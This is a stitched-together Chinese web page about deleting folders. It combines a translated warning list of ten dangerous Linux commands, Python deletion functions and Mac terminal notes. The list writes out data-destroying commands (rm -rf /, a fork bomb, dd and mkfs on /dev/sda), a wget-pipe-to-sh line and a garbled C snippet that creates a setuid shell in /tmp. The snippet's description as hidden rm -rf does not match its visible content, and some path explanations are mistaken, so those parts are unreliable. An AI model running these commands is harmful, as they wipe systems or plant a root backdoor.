遞歸刪除文件夾
⑴ linux中最危險的10個命令
Linux中最危險的10個命令
對於編程人員或或者Linux系統管理員來說,操作Linux系統最常見的方法就是使用命令行。當然,Linux命令行佷有用、很高效,但有時候也很危險,尤其是在你誤操作或者不確定你自己在正在做什麼的時候。下面我就為大家盤點最危險是10個命令,一起來看看吧!
當然,以下命令通常都是在root許可權下才能將愚蠢發揮到無可救葯;在普 通用戶身份下,破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內容最快的方式之一。僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。下列是一些rm 命令的選項。
rm命令在Linux下通常用來刪除文件。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯註:個人認為此處應該是說錯了,從常識看,應該是“甚至是非空的文件夾”)
rm -f 命令能不經過詢問直接刪除‘只讀文件’。(譯註:Linux下刪除文件並不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫許可權。所以,-f這個參數 只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發行版都會將rm通過別名的方式增加-i參數來 要求刪除確認,而-f則抑制了這個提示。)
rm -rf / : 強制刪除根目錄下所有東東。(就是說刪除完畢後,什麼也沒有了。。。)
rm -rf *:強制刪除當前目錄的所有文件。
rm -rf . : 強制刪除當前文件夾及其子文件夾。
從 現在起,當你要執行rm -rf命令時請留心一點。我們可以在“.bashrc”文件對‘rm‘命令創建rm -i的別名,來預防用 ‘rm‘命令刪除文件時的事故,它會要求你確認每一個刪除請求。(譯註:大多數發行版已經這樣做了,如果還沒有,請這樣做,並在使用-f參數前一定考慮好 你在做什麼!譯者本人有著血淚的教訓啊。)
2. :(){:|:&};: 命令
這就是個fork 炸彈的實例。具體操作是通過定義一個名為 ‘:‘的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
:(){:|:&};:
哦?你確認你要試試么?千萬別在公司正式的伺服器上實驗啊~~
3. 命令> /dev/sda
上列命令會將某個‘命令‘的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4. mv 文件夾 /dev/null
這 個命令會移動某個‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。(譯註:這就是黑洞啊。當然,要說明的是,通過將文件夾移動到黑洞,並不能阻止 數據恢復軟體的救贖,所以,真正的`徹底毀滅,需要採用專用的軟體或者手法來完成——我知道你肯定有些東西想刪除得乾乾凈凈的。)
# mv /home/user/* /dev/null
上列命令會將User目錄所有內容移動到/dev/null,這意味著所有東西都被‘捲入’黑洞(null)之中。
5. wget http://malicious_source -O- | sh
上列命令會從一個(也許是)惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。
注意: 你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯註:所以,你真的知道你在做什麼嗎?當遇到這種需要是,我的做法是,先wget下來,然後我去讀一讀其中到底寫了些什麼,然後考慮是否執行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設備‘sda’,你無疑知道在執行上列命令後你的塊設備(硬碟驅 動器)會被格式化,嶄新的!沒有任何數據,直接讓你的系統達到不可恢復的階段。(譯註:通常不會直接使用/dev/sda這樣的設備,除非是作為raw設 備使用,一般都需要將sda分成類似sda1、sda2這樣的分區後才使用。當然,無論你使用sda還是sda1,這樣對塊設備或分區進行mkfs都是毀 滅性的,上面的數據都會被蒸發了。)
7. > file
上列命令常用來清空文件內容(譯註:通常也用於記錄命令輸出。 不過請在執行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了——連數據恢復軟體都未必能幫助你了。另外,我想你可能真正想用的是 “>>”,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執行時輸入錯誤或無知的輸入類似 “>xt.conf”的命令會覆蓋配置文件或其他任何的系統配置文件。
8. ^foo^bar
這個命令在“鮮為人知而又實用的 Linux 命令大全:http://blog.csdn.net/zhu_xun/article/details/17018799”中描述過,用來編輯先前運行的命令而無需重打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。(譯註:事實上,這種小技巧是譯者認為的,少數史前時代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然!你的系統可能陷入混亂和不可恢復的狀態。(譯註:記得上面說過mv到黑洞並不能徹底刪除數據么?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。)
10. 隱藏命令
下面的命令其實就是上面第一個命令 (rm -rf)。這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄。在終端里運行下面命令可能會擦除你的根分區。
這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。不要編譯/運行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “″“″“″“″“″“″“x6ex2fx73x68x00x2dx63x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學或學校的電腦里的Linux終端或Shell執行以上的任何一個命令,因為這將導致數據丟失或者系統崩潰。如果你想測試它們,請在虛擬機上運行。
;⑵ python刪除文件命令合集
python刪除文件夾或者文件時;可以使用os和shutil模塊相關的命令
os模塊提供的方法
1.os.remove(path) #path是文件路徑,如果path是一個文件譽世夾路徑時,會拋出OSError錯誤
2.os.unlink(path) #path功能和remove一致,但是刪除一個正在使用的文件時會報錯
3.os.rmdir(path) #path是文件夾路徑,注意此時文件夾是慧粗要空才能被刪除,如果文件夾不為空時,要先刪除文件夾下的文件後,才能使用此命令
4.os.removedirs(path) 慶碧肢 #path遞歸地刪除目錄,如果子目前成功被刪除,則將會成功刪除父目錄,子目錄沒有成功刪除,將拋出異常
shutil模塊提供的方法有:
1.shutil.rmtree(dir) #dir為目錄,可以刪除有內容的目錄
2.shutil.rmdir(dir) #dir為目錄,只能刪除空目錄
⑶ MAC終端命令-文件操作、編輯操作
終端命令:
基本路徑操作
相對路徑:cd /users/yang/Desktop
絕對路徑:cd Ddesktop
. 表示當前路徑
… 表示當前路徑的上一層
… 表示當前路徑的上2層
沒有…或者以上的
文件操作
查看文件路徑
ls:
ls 查看當前路徑下的文件及文件夾的名字
ls /bin 表示:查看當前路徑下的Documents文件夾下的所有東西
ls Documents 表示:查看當前路徑下的Documents文件夾下的所有東西
ls *:
*表示任意多個字元,也可以沒有
?:表示一個字元,一定有一個,不能沒有
[xn]:表示中括弧中的任意一個字元
[abcdefg]可以寫成[a-g]:表示從a到g之間的任意一個字元
ls -a:隱藏文件
ls -l:列表風格顯示
ls -h:配合-l,顯示一個合理的大小單位
打開文件
cd:
cd desktop:進入到desktop這個文件夾
cd 文件夾名字
cd … 跳轉到當前路徑的上一層
cd - 跳轉到上一次所在的路徑(類似遙控器的回看功能)
cd ~ 跳轉到當前用戶的家目錄
顯示文件路徑
pwd:顯示當前操作的路徑(絕對路徑)
clear:清屏
tab鍵:自動補全
touch:創建一個文件,linux中沒有後綴的說法,所有文件名自定義
重定向 >
ls > test.txt: 表示把本來顯示在終端上的信息寫入到test.txt文件中
mkdir:創建文件夾
mkdir a在當前路徑下創建a文件夾
mkdir a/b/c 不能創建,需要添加-p
tree:以目錄樹的方式顯示文件夾結構
刪除文件/文件夾
rmdir:刪除空文件夾
rm:刪除一個普通文件夾,會有提示,要刪除的東西是個文件夾
rm xxx -r:遞歸刪除文件夾,不提示
鏈接文件
ln -s 源文件 鏈接文件 :軟連接
ln 源文件 鏈接文件 :硬鏈接,硬鏈接數量為一時,才會真正刪除數據,否則不會。
查看文件
cat: 查看文件的內容
合並多個文件並查看 :cat 1.txt 2.txt > 3.txt
查找文件內容
grep:從指定的文件中搜索需要的內容
-n:顯示行號
-i:不區分大小寫
-v:取反,即不包含需要的內容的行
查找文件
find 路徑 -name 『*.t?t』
注意通配符的使用
復制文件
cp a b 將a文件夾整體復制到b文件夾下
cp a/* b 將a文件夾下的所有內容復制到b文件夾下
剪切文件
mv a b 將a文件夾整體移動(剪切)到b文件夾下
打包/壓縮/解壓縮/解包
tar -cvf xxx.tar * 打包命令
gzip xxx.tar 壓縮
gzip -d xxx.tar.gz 解壓縮
tar -xvf xxx.tar 解包
常見的壓縮解壓方式
tar -zcvf xxx.tar.gz *
tar -zxvf xxx.tar.gz
tar -jcvf xxx.tar.bz2 *
tar -jxvf xxx.tar.bz2
vi/vim的使用
模式切換
從命令模式->編輯模式:i,a,o,I,A,O
從編輯模式->命令模式:ESC
從命令模式->末行模式:輸入一個冒號,即shift+;
模式內編輯
末行模式:
w保存,
q退出
!強制退出(切換進出)
命令模式:
hjkl控制上下移動
M中間位置
L當前屏幕的最後一行
yy:復制,8yy:表示從當前游標所在的行開始復制8行
p:黏貼
dd:剪切,8dd:表示從當前游標所在的行開始剪切8行
u:撤銷
ctl+r:反撤銷
G:跳到最後一行
15G:跳轉到第15行
1G:跳轉到第一行
gg:跳轉到第一行
僅供自己學習+深記憶
原文鏈接: https://blog.csdn.net/LUSH_BOY/article/details/112691677
mac下通過terminal添加環境變數的小技巧:
輸入vim ./.bash_profile,打開了bash_profile文件
點擊i鍵進入編輯狀態:
export 自定義環境變數一(如HADOOP_HOME) = 路徑名稱
編輯完畢之後,ESC退出編輯模式,輸入 shift+; 進入末行模式,
輸入wq保存並退出
輸入source ~/.bash_profile使剛剛修改的文件生效
Mac 每次都要執行source ~/.bash_profile 配置的環境變數才生效
在~/.zshrc文件最後,增加一行: source ~/.bash_profile
.zshrc文件不存在,需要創建[輸入] touch .zshrc
.zshrc文件已經存在,直接打開[輸入]open -e .zshrc
在打開的文件末尾增加source ~/.bash_profile保存退出。
終端輸入命令查看jdk版本:
/usr/libexec/java_home -V